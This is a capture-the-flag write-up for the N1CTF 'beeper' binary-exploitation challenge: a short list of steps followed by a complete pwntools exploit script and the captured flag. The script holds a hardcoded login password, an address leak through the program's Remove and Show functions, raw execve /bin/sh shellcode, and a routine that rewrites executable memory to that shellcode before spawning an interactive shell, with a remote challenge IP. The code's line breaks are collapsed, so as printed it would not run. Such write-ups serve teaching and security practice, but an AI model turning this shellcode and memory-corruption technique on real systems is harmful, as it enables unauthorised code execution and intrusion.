## === beeper (Pwn: 47 solved / 303 pts) ===
1. Avoid conversion of the input string by `111` byte input.2. Login with the following password `"\x86\x13\x81\x09\x62\xff\x44\xd3\x3f\xcd\x19\xb0\xfb\x88\xfd\xae\x20\xdf"` .3. Leak the address of the mmap reserved area by using Remove and Show function.4. Change execution code to shell code by using `'m', 'u', 'h'` character.5. Execute shell code by  "3.Buy a cell phone".
```from pwn import *
#context(os='linux', arch='amd64')#context.log_level = 'debug'
password  = "\x86\x13\x81\x09\x62\xff\x44\xd3\x3f\xcd\x19\xb0\xfb\x88\xfd\xae\x20\xdf"shellcode = "\x6a\x3b\x58\x48\x99\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05" exec_code = "\x68\x6f\x64\x20\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x75\x79\x20\x61\x20\x70\x68\x6f\x50\x48\xb8\x61\x6e"
BINARY = './beeper'
if len(sys.argv) > 1 and sys.argv[1] == 'r':  s = remote('47.91.210.30', 23333)else:  s = process(BINARY)
def Show(num):  s.recvuntil("choice>>")  s.sendline("1")  s.recvuntil("number:")  s.sendline(str(num))
def Remove(num):  s.recvuntil("choice>>")  s.sendline("2")  s.recvuntil("remove?")  s.sendline(str(num))
def Buy():  s.recvuntil("choice>>")  s.sendline("3")
def Logout():  s.recvuntil("choice>>")  s.sendline("4")
s.recvuntil("password:\n")s.sendline(password.ljust(111, '1'))
Remove(2)Remove(1)Remove(0)Show(1)
r = s.recv(0x24)   # Leak mmap exec addressexec_addr = u64(r[0x1c:0x24])print "exec_addr =", hex(exec_addr)  
Logout()
s.recvuntil("password:\n")buf = password.ljust(0x68, "A")buf += p64(exec_addr)
l1 = len(shellcode)for i in range(l1):  if shellcode[i] > exec_code[i]:    l2 = ord(shellcode[i]) - ord(exec_code[i])    for j in range(l2):      buf += "m"  else:    l2 = ord(exec_code[i]) - ord(shellcode[i])    for j in range(l2):      buf += "u"  buf += "h"
buf += "\x00"s.sendline(buf)
Buy()  # Exec shellcode
s.interactive()```
```N1CTF{5h3l1_c0d1n9_w17h_Hbf_1s_s0_e45y_233}```